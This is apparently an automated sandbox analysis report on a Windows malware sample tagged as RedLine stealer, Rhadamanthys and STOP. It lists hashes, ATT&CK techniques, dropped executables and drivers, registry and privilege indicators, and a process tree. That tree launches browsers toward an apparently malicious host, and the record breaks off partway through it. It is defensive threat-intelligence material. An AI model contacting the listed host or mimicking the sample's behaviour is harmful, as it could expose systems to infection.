62643c070eff56ef46363dde91efe38cfa67e51f52e3600ed11220c026daf396

Analysis

max time kernel
149s
max time network
135s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
17/05/2026, 08:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-05-17_b88f187465d7930b9720d06f783bccc0_elex_redline-stealer_rhadamanthys_stop.exe
Size 226KB
Sample260517-kqtc7ses4s
SHA256 62643c070eff56ef46363dde91efe38cfa67e51f52e3600ed11220c026daf396
MD5 b88f187465d7930b9720d06f783bccc0
SHA1 cf61a25711eda927027d1898db7e85e14e810256
SHA512 8986b8415bf366c11a8b8627571a7486088b899931c815c46c6aee31b63059336ba91d98c9070ac1af1d359cc9649e9c64048f1b35fbe45e7ec9a8af731dff2c
SSDEEP 3072:bGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:aXY4LK+a3lLNngoqRttA7
TLSH
T19234490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

adware discovery spyware

Malware Config

Signatures

Executes dropped EXE 64 IoCs

pid	Process
6040	CP.exe
1468	hbztrljebw.exe
3944	CP.exe
2136	CP.exe
1596	i_hbztrljebw.exe
1988	bvtrljdbvt.sys
2084	CP.exe
940	qoigbywqoj.exe
5136	CP.exe
544	CP.exe
1044	i_qoigbywqoj.exe
3480	dbvtolgeyw.sys
6120	CP.exe
3968	lfdyvqniga.exe
6064	CP.exe
1772	CP.exe
4736	i_lfdyvqniga.exe
5712	tnlgdyvqoi.sys
4884	CP.exe
4892	igaysqlida.exe
1084	CP.exe
5368	CP.exe
5912	i_igaysqlida.exe
2320	fdxvpnlfdx.sys
1640	CP.exe
3888	avpnifaxsq.exe
2568	CP.exe
1788	CP.exe
1340	i_avpnifaxsq.exe
2128	upnhfzxspk.sys
3048	CP.exe
1820	mkfcxupnhf.exe
1808	CP.exe
5420	CP.exe
5300	i_mkfcxupnhf.exe
5336	xsmkecxrpk.sys
3132	CP.exe
5400	cwupmhezxr.exe
2544	CP.exe
4556	CP.exe
3220	i_cwupmhezxr.exe
356	mhezxrpjhb.sys
4928	CP.exe
5192	czurmkecwu.exe
5240	CP.exe
3688	CP.exe
3892	i_czurmkecwu.exe
5036	ebwuomgezw.sys
2584	CP.exe
1552	uomgeywrom.exe
4380	CP.exe
3900	CP.exe
3656	i_uomgeywrom.exe
4704	wrojgbwtom.sys
4040	CP.exe
1108	igbytrljey.exe
2112	CP.exe
2088	CP.exe
3256	i_igbytrljey.exe
5972	ojdbwtolge.sys
2304	CP.exe
4272	vtnlgdywqo.exe
1340	CP.exe
3100	CP.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3360_674766753\_platform_specific\win_x64\widevinecdm.dll	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3360_1485561452\data.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3360_156289696\typosquatting_list.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3360_674766753\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3360_674766753\_platform_specific\win_x64\widevinecdm.dll.sig	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3360_1485561452\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3360_156289696\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3360_674766753\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3360_674766753\_metadata\verified_contents.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_igbytrljey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qoigbywqoj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	avpnifaxsq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vtnlgdyvqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_spkicausnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hbztrljebw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mkfcxupnhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	czurmkecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	uomgeywrom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vtnlgdywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vtnlgdywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mhczxrpjhu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_omgeywqojg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_avpnifaxsq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cwupmhezxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_uomgeywrom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vtnlgdyvqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_icavsnlfdx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nhczusmkec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mhczxrpjhu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gdywqoigbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_czurmkecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icavsnlfdx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nhczusmkec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_igaysqlida.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mkfcxupnhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spkicausnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bzuombzurm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bzuombzurm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dboigaysql.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-05-17_b88f187465d7930b9720d06f783bccc0_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qoigbywqoj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	igaysqlida.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	omgeywqojg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gdywqoigbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hbztrljebw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lfdyvqniga.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_lfdyvqniga.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cwupmhezxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	igbytrljey.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1568	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3996	ipconfig.exe
1796	ipconfig.exe
4012	ipconfig.exe
2900	ipconfig.exe
128	ipconfig.exe
2228	ipconfig.exe
4988	ipconfig.exe
3528	ipconfig.exe
3992	ipconfig.exe
2460	ipconfig.exe
3864	ipconfig.exe
2324	ipconfig.exe
5076	ipconfig.exe
5064	ipconfig.exe
2216	ipconfig.exe
4756	ipconfig.exe
3580	ipconfig.exe
5580	ipconfig.exe
3124	ipconfig.exe
3612	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 29 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Internet Explorer\VersionManager\FirstCheckForUpdateHighDateTime = "31254699"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Internet Explorer\Main\OperationalData = "9"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionLow = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListDomainAttributeSet = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Internet Explorer\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPMigrationVer = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Internet Explorer\BrowserEmulation	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListXMLVersionHigh = "268435456"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Internet Explorer\GPU\SubSysId = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListXMLVersionLow = "395196024"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\StaleCompatCache = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionLow = "395196024"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\StaleCompatCache = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Internet Explorer\VersionManager\FirstCheckForUpdateLowDateTime = "3274164145"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Internet Explorer\Main\OperationalData = "8"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Internet Explorer\GPU\Revision = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Internet Explorer\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy\HomepagesUpgradeVersion = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionHigh = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Internet Explorer\GPU\SoftwareFallback = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Internet Explorer\GPU\VendorId = "5140"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Internet Explorer\GPU\DeviceId = "140"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionHigh = "268435456"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Internet Explorer\Main\OperationalData = "13"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134237616050033202"	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1768642833-2142038154-4041560723-1000\{4A9CD2B6-68C4-4825-AAD1-A1EF567722DB}	msedge.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4420	msedge.exe
4420	msedge.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
3360	msedge.exe
3360	msedge.exe
3360	msedge.exe
3360	msedge.exe
3360	msedge.exe
3360	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	1596	i_hbztrljebw.exe
Token: SeDebugPrivilege	1044	i_qoigbywqoj.exe
Token: SeDebugPrivilege	4736	i_lfdyvqniga.exe
Token: SeDebugPrivilege	5912	i_igaysqlida.exe
Token: SeDebugPrivilege	1340	i_avpnifaxsq.exe
Token: SeDebugPrivilege	5300	i_mkfcxupnhf.exe
Token: SeDebugPrivilege	3220	i_cwupmhezxr.exe
Token: SeDebugPrivilege	3892	i_czurmkecwu.exe
Token: SeDebugPrivilege	3656	i_uomgeywrom.exe
Token: SeDebugPrivilege	3256	i_igbytrljey.exe
Token: SeDebugPrivilege	3768	i_vtnlgdywqo.exe
Token: SeDebugPrivilege	5632	i_vtnlgdyvqo.exe
Token: SeDebugPrivilege	4724	i_icavsnlfdx.exe
Token: SeDebugPrivilege	4972	i_spkicausnk.exe
Token: SeDebugPrivilege	3164	i_nhczusmkec.exe
Token: SeDebugPrivilege	1816	i_mhczxrpjhu.exe
Token: SeDebugPrivilege	576	i_bzuombzurm.exe
Token: SeDebugPrivilege	2524	i_omgeywqojg.exe
Token: SeDebugPrivilege	1896	i_gdywqoigbv.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3360	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 8 wrote to memory of 2416	8	2026-05-17_b88f187465d7930b9720d06f783bccc0_elex_redline-stealer_rhadamanthys_stop.exe	79
PID 2416 wrote to memory of 3360	2416	iexplore.exe	80
PID 3360 wrote to memory of 1100	3360	msedge.exe	81
PID 3360 wrote to memory of 1568	3360	msedge.exe	82
PID 3360 wrote to memory of 3792	3360	msedge.exe	83
PID 3360 wrote to memory of 3792	3360	msedge.exe	83
PID 3360 wrote to memory of 3792	3360	msedge.exe	83
PID 3360 wrote to memory of 668	3360	msedge.exe	84
PID 3360 wrote to memory of 668	3360	msedge.exe	84
PID 3360 wrote to memory of 5700	3360	msedge.exe	86
PID 3360 wrote to memory of 5700	3360	msedge.exe	86
PID 3360 wrote to memory of 5700	3360	msedge.exe	86
PID 3360 wrote to memory of 3212	3360	msedge.exe	87
PID 3360 wrote to memory of 3212	3360	msedge.exe	87
PID 3360 wrote to memory of 3212	3360	msedge.exe	87
PID 3360 wrote to memory of 5600	3360	msedge.exe	89
PID 3360 wrote to memory of 5600	3360	msedge.exe	89
PID 3360 wrote to memory of 5600	3360	msedge.exe	89
PID 3360 wrote to memory of 2408	3360	msedge.exe	90
PID 3360 wrote to memory of 2408	3360	msedge.exe	90
PID 3360 wrote to memory of 2408	3360	msedge.exe	90
PID 3360 wrote to memory of 3092	3360	msedge.exe	92
PID 3360 wrote to memory of 3256	3360	msedge.exe	93
PID 3360 wrote to memory of 5016	3360	msedge.exe	94
PID 3360 wrote to memory of 436	3360	msedge.exe	95
PID 3360 wrote to memory of 3256	3360	msedge.exe	93
PID 3360 wrote to memory of 436	3360	msedge.exe	95
PID 5016 wrote to memory of 2024	5016	msedge.exe	96
PID 8 wrote to memory of 6040	8	2026-05-17_b88f187465d7930b9720d06f783bccc0_elex_redline-stealer_rhadamanthys_stop.exe	97
PID 1468 wrote to memory of 3944	1468	hbztrljebw.exe	100
PID 8 wrote to memory of 2136	8	2026-05-17_b88f187465d7930b9720d06f783bccc0_elex_redline-stealer_rhadamanthys_stop.exe	105
PID 3360 wrote to memory of 3428	3360	msedge.exe	107
PID 3360 wrote to memory of 3428	3360	msedge.exe	107
PID 3360 wrote to memory of 3428	3360	msedge.exe	107
PID 8 wrote to memory of 2084	8	2026-05-17_b88f187465d7930b9720d06f783bccc0_elex_redline-stealer_rhadamanthys_stop.exe	110
PID 940 wrote to memory of 5136	940	qoigbywqoj.exe	112
PID 8 wrote to memory of 544	8	2026-05-17_b88f187465d7930b9720d06f783bccc0_elex_redline-stealer_rhadamanthys_stop.exe	115
PID 8 wrote to memory of 6120	8	2026-05-17_b88f187465d7930b9720d06f783bccc0_elex_redline-stealer_rhadamanthys_stop.exe	119
PID 3968 wrote to memory of 6064	3968	lfdyvqniga.exe	121
PID 8 wrote to memory of 1772	8	2026-05-17_b88f187465d7930b9720d06f783bccc0_elex_redline-stealer_rhadamanthys_stop.exe	124
PID 8 wrote to memory of 4884	8	2026-05-17_b88f187465d7930b9720d06f783bccc0_elex_redline-stealer_rhadamanthys_stop.exe	128
PID 4892 wrote to memory of 1084	4892	igaysqlida.exe	130
PID 8 wrote to memory of 5368	8	2026-05-17_b88f187465d7930b9720d06f783bccc0_elex_redline-stealer_rhadamanthys_stop.exe	133
PID 3360 wrote to memory of 4040	3360	msedge.exe	135
PID 3360 wrote to memory of 1480	3360	msedge.exe	136
PID 3360 wrote to memory of 2368	3360	msedge.exe	137
PID 8 wrote to memory of 1640	8	2026-05-17_b88f187465d7930b9720d06f783bccc0_elex_redline-stealer_rhadamanthys_stop.exe	140
PID 3888 wrote to memory of 2568	3888	avpnifaxsq.exe	142
PID 8 wrote to memory of 1788	8	2026-05-17_b88f187465d7930b9720d06f783bccc0_elex_redline-stealer_rhadamanthys_stop.exe	145
PID 8 wrote to memory of 3048	8	2026-05-17_b88f187465d7930b9720d06f783bccc0_elex_redline-stealer_rhadamanthys_stop.exe	149
PID 1820 wrote to memory of 1808	1820	mkfcxupnhf.exe	151
PID 8 wrote to memory of 5420	8	2026-05-17_b88f187465d7930b9720d06f783bccc0_elex_redline-stealer_rhadamanthys_stop.exe	154
PID 8 wrote to memory of 3132	8	2026-05-17_b88f187465d7930b9720d06f783bccc0_elex_redline-stealer_rhadamanthys_stop.exe	158
PID 5400 wrote to memory of 2544	5400	cwupmhezxr.exe	160
PID 8 wrote to memory of 4556	8	2026-05-17_b88f187465d7930b9720d06f783bccc0_elex_redline-stealer_rhadamanthys_stop.exe	163
PID 8 wrote to memory of 4928	8	2026-05-17_b88f187465d7930b9720d06f783bccc0_elex_redline-stealer_rhadamanthys_stop.exe	167
PID 5192 wrote to memory of 5240	5192	czurmkecwu.exe	169
PID 8 wrote to memory of 3688	8	2026-05-17_b88f187465d7930b9720d06f783bccc0_elex_redline-stealer_rhadamanthys_stop.exe	172
PID 3360 wrote to memory of 5220	3360	msedge.exe	174
PID 3360 wrote to memory of 5220	3360	msedge.exe	174
PID 8 wrote to memory of 2584	8	2026-05-17_b88f187465d7930b9720d06f783bccc0_elex_redline-stealer_rhadamanthys_stop.exe	179
PID 1552 wrote to memory of 4380	1552	uomgeywrom.exe	181
PID 8 wrote to memory of 3900	8	2026-05-17_b88f187465d7930b9720d06f783bccc0_elex_redline-stealer_rhadamanthys_stop.exe	184
PID 8 wrote to memory of 4040	8	2026-05-17_b88f187465d7930b9720d06f783bccc0_elex_redline-stealer_rhadamanthys_stop.exe	188

C:\Users\Admin\AppData\Local\Temp\2026-05-17_b88f187465d7930b9720d06f783bccc0_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-05-17_b88f187465d7930b9720d06f783bccc0_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:8
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:2416
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3360
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x1e8,0x2e4,0x2e8,0x210,0x2f0,0x7ffe1f85c188,0x7ffe1f85c194,0x7ffe1f85c1a0
      4⤵
      PID:1100
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1832,i,13998955016955626813,17534962808330627241,524288 --field-trial-handle=2192,i,3571015233355170504,18045214251070978015,262144 --variations-seed-version --mojo-platform-channel-handle=2220 /prefetch:11
      4⤵
      System Time Discovery
      PID:1568
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1640,i,2398424800208115417,14474537863949349252,262144 --field-trial-handle=2192,i,3571015233355170504,18045214251070978015,262144 --variations-seed-version --mojo-platform-channel-handle=2188 /prefetch:2
      4⤵
      PID:3792
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2556,i,13620692528024835007,4976840630758764928,524288 --field-trial-handle=2192,i,3571015233355170504,18045214251070978015,262144 --variations-seed-version --mojo-platform-channel-handle=2712 /prefetch:13
      4⤵
      PID:668
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3460,i,17296067484686755042,14330688745178289078,2097152 --field-trial-handle=2192,i,3571015233355170504,18045214251070978015,262144 --variations-seed-version --mojo-platform-channel-handle=3516 /prefetch:1
      4⤵
      PID:5700
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3464,i,12005797407156570468,2427129301387479560,2097152 --field-trial-handle=2192,i,3571015233355170504,18045214251070978015,262144 --variations-seed-version --mojo-platform-channel-handle=3536 /prefetch:1
      4⤵
      PID:3212
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4840,i,9051231779552665016,7905606834709493452,2097152 --field-trial-handle=2192,i,3571015233355170504,18045214251070978015,262144 --variations-seed-version --mojo-platform-channel-handle=4284 /prefetch:1
      4⤵
      PID:5600
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
